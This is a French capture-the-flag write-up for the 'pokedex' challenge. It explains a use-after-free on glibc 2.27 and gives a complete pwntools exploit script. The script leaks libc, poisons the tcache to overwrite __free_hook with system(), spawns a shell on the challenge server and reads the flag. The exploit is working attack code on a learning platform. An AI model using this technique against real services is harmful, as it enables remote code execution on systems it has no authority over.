Challenge pokedex de Jeanne d’Hack CTF 2026
Archive : pokedex
On charge la libc et le ld avec patchelf pour avoir les symboles en local :
ln -s libc-2.27.so libc.so.6
patchelf --set-interpreter ./ld-2.27.so ./pokedex
patchelf --set-rpath . ./pokedex
On peut éditer un slot libéré, c’est donc un exploit de type use after free Il nous faut un leak pour les adresses, la cible est en PIE, merci la fonction intégrée ‘inspect pokemon’ Après le leak on déroule l’UAF :
- On alloue un chunk qu’on libère pour le mettre dans le tcache
- Le chunck libéré contient l’adresse du prochain ou null
- On y écrase null pour y mettre l’adresse __free_hook
- On alloue un chunk pour consommer le faux chunk
- On alloue un chunk pour avoir l’adresse de __free_hook
- On y écrit l’adresse de system()
- On alloue un chunk pour mettre “/bin/sh”
- On libère ce chunk pour appeler _free_hook(chunk_bin_sh), mais comme on a remplacé __free_hook par system(), on appelle system(“/bin/sh”)
Ca ne marche que parce que la libc utilisée est assez ancienne (2.27). A partir de la 2.32, le pointeur next du chunk est xoré avec l’adresse du chunk lui même, décalé de 12 bits. Il faudrait leaker l’adresse de la heap pour calculer le bon pointeur next.
➜ pokedex ./exploit.py REMOTE
[+] Opening connection to pwn.jeanne-hack-ctf.org on port 9002: Done
[+] libc base : 0x7f79d8f63000
[*] Switching to interactive mode
JDHACK{90TTa_CATCH_7H3M_41L!}
#!/usr/bin/env python3
from pwn import *
import re
context.arch = 'amd64'
# args : DBG GDB REMOTE
if args.DBG:
context.log_level = 'debug'
else:
context.log_level = 'info'
vulnbin = ELF('./pokedex', checksec=False)
if args.REMOTE:
p = remote('pwn.jeanne-hack-ctf.org', 9002)
libc=ELF('libc-2.27.so',checksec=False)
else:
p = process(vulnbin.path)
if args.GDB:
gdb.attach(p, gdbscript='''
break release_pokemon
continue
''')
libc = ELF('./libc-2.27.so', checksec=False) # binary patchelf'd
# catch edit release inspect
def catchpokemon(slot,size=60,data=None):
p.sendline(b'1')
p.sendlineafter(b'Pokedex slot: ',str(slot).encode())
p.sendlineafter(b'Pokemon data size: ',str(size).encode())
p.sendlineafter(b'Pokemon data: ',data if data else cyclic(size))
p.clean()
def editpokemon(slot,size,data):
p.sendline(b'2')
p.sendlineafter(b'Pokedex slot: ',str(slot).encode())
p.sendlineafter(b'New data length: ',str(size).encode())
p.sendlineafter(b'New data: ',data)
p.clean()
def releasepokemon(slot):
p.sendline(b'3')
p.sendlineafter(b'Pokedex slot: ',str(slot).encode())
p.clean()
def inspectpokemon(slot):
p.sendline(b'4')
p.sendlineafter(b'Pokedex slot: ',str(slot).encode())
leak=p.recvuntil(b'> ')
return leak
p.recvuntil(b'> ')
catchpokemon(0, 0x500) # >0x410 -> alloc dans unsorted bins et pas tcache ; permets de leak libc et pas heap
catchpokemon(1, 0x40) # pour éviter la consolidation quand on free(slot0)
releasepokemon(0)
leak=inspectpokemon(0)
adresses = re.findall(r"0x[0-9a-fA-F]+", leak.decode())
libc_leak=int(adresses[0],16) # main_arena+96
libc.address = libc_leak - 0x3ebca0 # no syms to get libc base, using hardcoded offset
log.success(f'libc base : {hex(libc.address)}')
# Use-After-Free (UAF) Poisoning
catchpokemon(2, 0x60) # on prépare un chunk de taille qui ira dans le tcache une fois libéré
releasepokemon(2) # on libère, ça rajoute l'entree dans le Tcache : Head -> Slot_2 -> NULL
# on remplace NULL par __free_hook pour rajouter un faux tcache dans la chaine de tcache
editpokemon(2, 8, p64(libc.sym.__free_hook))
# Tcache est maintenant : Head -> Slot_2 -> __free_hook -> NULL(?)
# Récupération du Hook
catchpokemon(3, 0x60) # on consomme le slot 2 pour arriver sur __free_hook
# Tcache est maintenant : Head -> __free_hook -> NULL
# on récupère le pointeur vers __free_hook et on écrit *__free_hook = system
catchpokemon(4, 0x60, p64(libc.sym.system))
# on alloue un espace avec /bin/sh
catchpokemon(5, 0x60, b"/bin/sh\x00")
# on fait appeler __free_hook(*espace) ca qui va appeler system("/bin/sh")
releasepokemon(5)
p.sendline(b'cat /flag.txt')
p.interactive()